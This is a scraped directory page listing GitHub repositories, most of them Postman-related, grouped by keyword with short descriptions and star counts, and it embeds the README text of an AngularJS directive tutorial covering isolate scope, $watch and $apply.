Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
melements/mBank-PSD2-api-postman-collection
collection, description, element, elements, script 		No description available. 1 stars 1 watchers 0 forks
cloud-elements/example-postman-collections
cloud, collection, collections, element, elements, example, form 		Example Postman Collections using the Cloud Elements Platform APIs 0 stars 0 watchers 0 forks

orders (3 listings) (Back to Top)

markande98/RESTful-API
data, database, fetch, list, module, modules, mongo, mongod, mongodb, order, orders, product, service, services 		A RESRful service. A product can be post, update, delete in this api and list of orders can be fetched from the database. I have used mongodb as a database and postman services and a lot of modules in my api. 0 stars 0 watchers 0 forks
jwbanning/Postman_orders
order, orders 		Testing orders for OpenAPI 0 stars 0 watchers 0 forks
sushildangi/omnicuris-technical-assignment-e-commerce
application, assignment, bulk, case, cases, commerce, email, list, listing, mail, operation, operations, order, orders, stock, technical 		1. CRUD operations on items 2. All items listing 3. Single & bulk ordering (Just consider the item, no. of items & email ids as params for ordering) 4. All orders Please consider all the cases like out of stock etc. while making the application. You can also add more features/APIs as suitable for you. 0 stars 0 watchers 0 forks

standalone (3 listings) (Back to Top)

bzdgn/simple-grizzly-standalone-restful-webservice-example
application, example, grizzly, rest, restful, service, standalone, webservice 		A simple Grizzly standalone RESTful webservice application with Configuration Manager Implementation and Dummy Cache Repository 3 stars 3 watchers 0 forks
theuggla/javascript-at
application, applications, client, concept, java, javascript, program, ranging, script, server, servers, standalone, test, testing 		ranging from small programs to full applications testing out javascript concepts, both as standalone applications, servers and client applications 0 stars 0 watchers 0 forks
smichea/meveoman
collection, java, meveo, script, standalone, usable 		A meveo script, also usable as a standalone java app, that execute a postman 2.1 collection 0 stars 0 watchers 0 forks

responsive (3 listings) (Back to Top)

Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
HaninMustafa/Mars-Colony-App
intern, internal, local, mobile, object, responsive 		MARS COLONY APP - Web-Based Application: A mobile first responsive layout that uses Angular2 to implement GET and POST HTTP requests with our internal API to save colonist’s info and alien encounter and use localStorage to save colonist object 0 stars 0 watchers 0 forks
jieniz/web-app-for-hotel
application, boot, hotel, responsive, web app 		A responsive web application for hotel [Java, Spring boot, Angularjs 2.0, Bootstrap, PostMan] 0 stars 0 watchers 0 forks

conducted (3 listings) (Back to Top)

dowglasmaia/api-backend--school-management
backend, changing, conducted, github, hibernate, http, https, school 		School Management System, audit with hibernate-envers, Test conducted with Postman. | front-end: https://github.com/dowglasmaia/school-management-front-end-Angular.gitDay: 15/08/2019 - changing repository to a Private, to continue the Project 1 stars 1 watchers 0 forks
deeep911/Java-elasticsearch
conducted, elastic, elasticsearch, search 		Elastic search is conducted using SpringBoot in Java, for API usage postman needs to be used 0 stars 0 watchers 0 forks
deeep911/JAVA-ElasticSearch-SpringBoot
conducted, host, hosted, java, local, locally, search 		Elasticsearch is conducted using SpringBoot in java, hosted locally.Hence, POSTMAN is needed for API usage. 0 stars 0 watchers 0 forks

tickets (3 listings) (Back to Top)

digitickets/postman-collections-api
collection, collections, demonstrate, digitickets, ticket, tickets 		Postman collections to demonstrate use of the DigiTickets API 0 stars 0 watchers 0 forks
psn30595/Universal-Ticket-Generation-Service-for-Events
book, booking, cloud, event, form, generation, movie, movies, platform, published, site, sports, ticket, tickets, website 		Developed a ticket booking website which is used to book tickets for the concert, movies and sports events by using various API’s. Created ticket generation API for others and published on the Microsoft Azure cloud platform. Technologies used: C#.NET, Microsoft Azure, Visual Studio 2017, Microsoft SQL Server 2017, Postman. 0 stars 0 watchers 0 forks
raviskarra/vsSampleTickets
data, engine, engineering, event, ticket, tickets 		data engineering event tickets 0 stars 0 watchers 0 forks

human (3 listings) (Back to Top)

sashank-tirumala/2R_Drawing_Robot
codes, computer, find, human, image, images, lines, mail, message, problem, python, queries, source 		All the code for a 2R manipulator that draws outlines of human images. It is a mix of computer vision code implemented and Matlab and partially lifted from Petr Zikovsky. There is also some python code, which basically solves rural postman problem using Monte Carlo Localization and Genetic Algorithms. These codes are from a combination of various sources online that I unfortunately cannot find now. If any queries drop me a message / mail 1 stars 1 watchers 2 forks
jamesdean308/postman-detector
concept, detecting, human, program, proof, prototype, type 		Web-cam prototype OpenCV proof of concept program for detecting humans wearing particular coloured clothes(yellow). I intend for this to run on a TIAGo bot and have it compete in robotics competitions 0 stars 0 watchers 0 forks
KevCui/varman
file, generate, guardsman, human, json, newman, readable, script, variable, yaml 		:guardsman: A script to generate postman/newman global variable json from human readable yaml file 0 stars 0 watchers 0 forks

nano (3 listings) (Back to Top)

loopDelicious/nanoleaf
collection, environment, nano, nanoleaf 		Postman collection and environment for Nanoleaf API 0 stars 0 watchers 4 forks
nanoscott/postman
nano 		Postman Backups 0 stars 0 watchers 0 forks
trsimanto/PHP-Retrofit-project---making-Api-run-in-web-server
android, bananor, check, framework, nano, retrofit, server, slim 		retrofit android app er web API bananor code likse CURD sob thakbe ,, php er slim framework use kore banaitese sathe postman use kore check korte hoy , r code kortese 'vs code' IDE dea ...... 0 stars 0 watchers 0 forks

unofficial (3 listings) (Back to Top)

alexandreelise/j4x-api-collection
attempt, beta, collection, developer, developers, joomla, official, postman collection, unofficial 		An attempt to help the Joomla! 4 early adopters mainly focused for developers. It's an unofficial postman collection of the official joomla4 beta API 3 stars 3 watchers 1 forks
jenius-apps/Postman.NET
apps, collection, implementation, official, schema, unofficial 		An unofficial .NET implementation of the Postman collection schema 1 stars 1 watchers 1 forks
sharmacloud/Postman
cloud, future, image, images, official, python, scheduling, system, unofficial, user, video 		A scheduling system written in python around the unofficial instagram_api to post images and videos to a user's instagram any time into the future. 0 stars 0 watchers 0 forks

restaurants (3 listings) (Back to Top)

skhetarpaul/project-back-end
arranged, back end, directory, folder, function, functional, rating, rest, restaurant, restaurants, result, search, server, sort, sorted, system, upload, user, users 		This is a server side project using Node and Express.js. The purpose is to provide its users a functionality to search some best restaurants sorted and arranged according to their star ratings. Screenshots of working back end system has been uploaded to *project_postman_results* directory in the root folder here. 1 stars 1 watchers 0 forks
rajiradhadevi/restaurants-api-automation-postman
automat, automation, description, jira, rest, restaurant, restaurants, script 		No description available. 0 stars 0 watchers 0 forks
automationlabs-io/restaurants-api-automation-using-postman-newman
automat, automation, description, newman, rest, restaurant, restaurants, script 		No description available. 0 stars 0 watchers 0 forks

sake (3 listings) (Back to Top)

Mehran-at/spring-mvc-rest-customer-application
application, apps, customer, example, rest, sake, spring 		Simple rest application for the sake of exercising REST API+trying in POSTMAN APP. Not a good example for big apps 0 stars 0 watchers 0 forks
saketsharma398/PostmanAutomation
sake 		rishabh saket sid astha 0 stars 0 watchers 0 forks
saketthakare/postman
sake 		USPS Hackathon @SJSU 0 stars 0 watchers 0 forks

evaluation (3 listings) (Back to Top)

neelkhutale19/CoffeeMeetsBagel-API-Testing
check, evaluation, script, test, tested, validation 		Here I have tested CoffeeMeetsBagel API using Postman and Javascript. Test Cases include validation of Response Code, Content - Type check, Response time evaluation, Parameters Test, Validation of Schema and much more. 1 stars 1 watchers 0 forks
Hot-Tomali/postman_scripts
evaluation, execution, script, scripts 		Scripts for evaluation and execution in Postman 0 stars 0 watchers 0 forks
siddhantyadav/APITestingCoffeeMeetsBagels
check, evaluation, script, validation 		CoffeeMeetsBagel API using Postman and Javascript. Test Cases include validation of Response Code, Content - Type check, Response time evaluation, Parameters Test, Validation of Schema 0 stars 0 watchers 0 forks

devices (3 listings) (Back to Top)

TakuCoder/postman
desktop, desktops, devices, header, including, method, methods, parameter, pretty, stat, status, style, submit, support, supported, test, testing, tool 		Postman is a REST API testing tool for Android devices. It helps to test REST API without desktops. can submit a HTTP request with several headers, parameters and raw request body by 6 different HTTP methods including GET, POST, HEAD, PUT, DELETE and PATCH. HTTP response can be shown as three styles including pretty, raw and preview. Response status code and headers are also supported in Postman-Android. Currently in Development Stage 3 stars 3 watchers 2 forks
Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
prrs/t_postman
backup, content, devices, mobile 		backup and analysis of textual content of mobile devices 0 stars 0 watchers 0 forks

maintained (3 listings) (Back to Top)

WebDevInfrastructure/MailingLists
development, general, import, interface, list, lists, maintained, single, standard, struct, structure, updating 		Mailing lists are an important part of the infrastructure of development of Web standards - generally PostMan is the standard, but it is maintained by a single individual and the interface/features could use some updating. 3 stars 3 watchers 1 forks
empeje/midtrans-iris-collections
collection, collections, fork, free, iris, maintained, official 		[Unofficial] Postman Collections for Midtrans' Iris Disbursement Service | Not maintained anymore, feel free to fork! 1 stars 1 watchers 1 forks
potherca-abandoned/PostmanParser
document, documentation, generate, generated, longer, maintained, object, struct, structure 		⚠️ This project in no longer maintained. ⚠️ -- Parse POSTman Collection JSON into an object structure so documentation can be generated from it. 0 stars 0 watchers 0 forks

minimal (3 listings) (Back to Top)

smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
jnafolayan/postman
interface, mini, minimal, test, testing 		minimal api testing interface 0 stars 0 watchers 0 forks
rajvijen/QaBot
form, mini, minimal, platform 		QaBot is StachOverflow like online question answer platform with minimal features. 0 stars 0 watchers 0 forks

executor (3 listings) (Back to Top)

rajaramkushwaha/spring-boot-postman-collection-executor-coverage-report
boot, collection, coverage, description, executor, report, script, spring 		No description available. 0 stars 0 watchers 0 forks
KevinWingi/postman-api-request-executor
executor, repeatedly, script, test, tests 		Javascript code to run tests repeatedly in POSTMAN 0 stars 0 watchers 0 forks
writeshh/sanoPostman
executor 		A simple API executor that works as POSTMAN 0 stars 0 watchers 0 forks

daily (3 listings) (Back to Top)

waffleman45/Postman
collection, collections, daily 		A repository for the Postman collections that we run on a daily basis. 1 stars 1 watchers 0 forks
rohankar/daily-npm-stats
automat, automate, daily, download, monitor, stat, stats 		A simple way to automate getting NPM download stats using Postman monitors 0 stars 0 watchers 0 forks
vincentliao/daily_quote_postman
daily 		Post a quote every day. 0 stars 0 watchers 0 forks

catalog (3 listings) (Back to Top)

GideonFlynn/Item-Catalog
catalog, framework, object, objects, rest 		A catalog of objects where each item has a category, shop, and manufacturer. It has a useful API made with Postman, the rest of the code; Python with the Flask framework, and PostgreSQL 0 stars 0 watchers 0 forks
mateusmanuel/emsbuscatalog-2-postman
catalog, convert, converte, converter, service, services 		Ems-bus services catalog converter for Postman Collection 0 stars 0 watchers 0 forks
Simbadeveloper/AndelaCodeCamp
application, brings, business, businesses, catalog, customer, customers, developer, form, platform, register, reviews, user, users, web app 		a web application that provides a platform that brings businesses and individuals together. The platform will be a catalog where business owners can register their businesses for visibility to potential customers and will also give users (customers) the ability to write reviews for the businesses. 0 stars 0 watchers 0 forks

skeleton (3 listings) (Back to Top)

davellanedam/node-express-mongodb-jwt-rest-api-skeleton
angular, async, consume, express, frontend, github, http, https, mongo, mongod, mongodb, node, react, rest, skeleton, starter, sync 		This is a basic API REST skeleton written on JavaScript using async/await. Great for building a starter web API for your front-end (Android, iOS, Vue, react, angular, or anything that can consume an API). Demo of frontend in VueJS here: https://github.com/davellanedam/vue-skeleton-mvp 0 stars 0 watchers 119 forks
Massad/gin-boilerplate
boiler, boilerplate, data, database, default, fastest, lang, rest, restful, skeleton, starter, storage, struct, structure, test 		The fastest way to deploy a (skeleton) restful api’s with Golang - Gin Framework with a structured starter project that defaults to PostgreSQL database and Redis as the session storage. 0 stars 0 watchers 65 forks
davellanedam/phalcon-micro-rest-api-skeleton
angular, consume, frontend, phalcon, react, rest, skeleton 		This is a basic API REST skeleton written on Phalcon PHP. Great For building an MVP for your frontend app (Vue, react, angular, or anything that can consume an API) 0 stars 0 watchers 19 forks

flutter (3 listings) (Back to Top)

stategen/stategen
flutter, free, freemarker, github, http, https, java, mock, provider, react, script, spring, stat, type, types, typescript 		通用springMvc/springBoot分布式非强迫性全栈架构(java服务端，H5、iOS、andriod前端)，内含大名鼎鼎的支付宝dalgen之freemarker开源实现之商用升级版dalgenX，是唯一支持迭代开发的全栈代码生成器，大量前、后端代码通过生成器生成，其中后端任意api直接生成前端网络调用、状态化、交互等相关代码，把前后端分离开发"拉"回来，目前前端已支持react(dva+umi+typescript)和flutter(provider),后续加入kotlin、swf。免去前端文档、调试、postman、mockjs...繁琐。开发中迭代生成，不改变原开发流程、生成80%代码,兼容后20%你自己的代码，拒绝挖坑！ https://github.com/stategen/stategen 44 stars 44 watchers 10 forks
harsh159357/flutter_client_php_backend
backend, client, demonstrating, flutter, rating 		Sample app demonstrating usage of Flutter Framework to Create Android & IOS App Using Rest API Created In PHP 0 stars 0 watchers 62 forks
sharansingh00002/PostMan
flutter, version 		Mobile version of Postman in flutter 0 stars 0 watchers 0 forks

minimum (3 listings) (Back to Top)

Rachel-Hofer/Ironhack-Project3-Client-Side
mini, minimum, model, models, route, routes, script 		Week-9, Project 3 - MERN Application Assignment: Minimum 3 models. Include sign-up / sign-in / sign-out with encrypted passwords. Have full CRUD routes for a minimum of 2 models. Use React for Front End. Technologies: React.js, Javascript, Node.js, HBS, CSS, Bootstrap, jQuery, Passport.js, Cloudinary.js, AJAX, MongoDB, Postman, GoogleMapsAPI 1 stars 1 watchers 1 forks
Rachel-Hofer/Ironhack-Project3-Server-Side
mini, minimum, model, models, route, routes, script 		Week-9, Project 3 - MERN Application Assignment: Minimum 3 models. Include sign-up / sign-in / sign-out with encrypted passwords. Have full CRUD routes for a minimum of 2 models. Use React for Front End. Technologies: React.js, Javascript, Node.js, HBS, CSS, Bootstrap, jQuery, Passport.js, Cloudinary.js, AJAX, MongoDB, Postman, GoogleMapsAPI 1 stars 1 watchers 1 forks
spenceclark/newman-reporter-json-summary
json, mini, minimum, newman, report, reporter, result, summary 		A Newman JSON Reporter that strips the results down to a minimum 0 stars 0 watchers 2 forks

reads (3 listings) (Back to Top)

dtzar/openapi-auto-test
automat, automate, automated, collection, generate, generates, newman, openapi, reads, test, tests 		Automatically reads an OpenAPI 3.0 defintion and generates a Postman collection to be used with newman for automated API tests. 22 stars 22 watchers 1 forks
aliasgarlabs/bookish-octo-fiesta
book, books, list, reading, reads 		Picks 8 books from your goodreads followers and creates a reading list. 0 stars 0 watchers 0 forks
mat373/NBPExchangeRatesApplication
application, data, reads 		Spring application using Spring Boot, Spring Web. The application reads data from the NBP api. Testing using Postman 0 stars 0 watchers 0 forks

manages (3 listings) (Back to Top)

andela-cofor/Document-Management-System
access, define, document, documents, manages, role, roles, system, user, users 		Document Management System: The system manages documents, users and user roles. Each document defines access rights; the document defines which roles can access it. 1 stars 1 watchers 2 forks
corruptmem/postman
email, emails, mail, manages 		Listens for emails via AMQP and manages the delivery 1 stars 1 watchers 0 forks
atljoseph/api.go.josephgill.io
api blueprint, asyncapi, bucket, data, database, event, eventually, golang, image, images, json schema, lang, manages, mysql, oauth, openid, progress, site, sql, website 		This is a work in progress which will eventually become part of my website. It is a golang api which manages a mysql database and images in an s3 bucket. 0 stars 0 watchers 0 forks

options (3 listings) (Back to Top)

jedlee2004/postman-to-load
collection, collections, convert, options, package, postman collection, postman collections, test, tests 		Tool to convert postman collections into load tests options and run them with the npm loadtest package 1 stars 1 watchers 0 forks
foonster/postman
file, form, format, gateway, generic, mail, operation, operationa, options, parse, parses, process, result, script, send, sends, spec, user, users, variable, variables 		Postman is a generic PHP processing script to the e-mail gateway that parses the results of any form and sends them to the specified users. This script has many formatting and operational options, most of which can be specified within a variable file "_variables.php" each form. 1 stars 1 watchers 0 forks
ragizaki/ConsultED
backend, chat, design, designed, future, learn, model, options, software, student, test, tests 		FAQ chatbot designed to help secondary students better learn of their post-secondary options. The model tests the accuracy of responses and incorporates them in the future. Postman software was used, and called the Genesys API to create the backend of the chatbot. 0 stars 0 watchers 0 forks

knex (3 listings) (Back to Top)

imjonathanking/knex_testing
builder, express, knex, query, test, tested, testing 		I am testing out building an express API using Knex as a SQL query builder/ ORM. Routes will be tested in Postman. 0 stars 0 watchers 0 forks
daniellbr/rocketSeatCurso
knex, react, rocket 		Curso da rocketSeat com Node/knex/postman mais react para o front 0 stars 0 watchers 0 forks
LockeReed/knex-lesson
api blueprint, asyncapi, json schema, knex, learn, learning, lesson, oauth, openid, postgres, postgresql, sql 		learning postgresql, knex, postico, postman 0 stars 0 watchers 0 forks

days (3 listings) (Back to Top)

a-chumagin/api.postman
days 		Kazan Expert Fridays Meetups 1 stars 1 watchers 1 forks
Midaysa/RuralPostmanProblem
days, description, script 		No description available. 0 stars 0 watchers 0 forks
geeeeeeeeek/opt-postman
days, email, mail, notification, stat, status 		📮Get email notification of OPT status & statistics every * days. 0 stars 0 watchers 0 forks

passing (3 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and 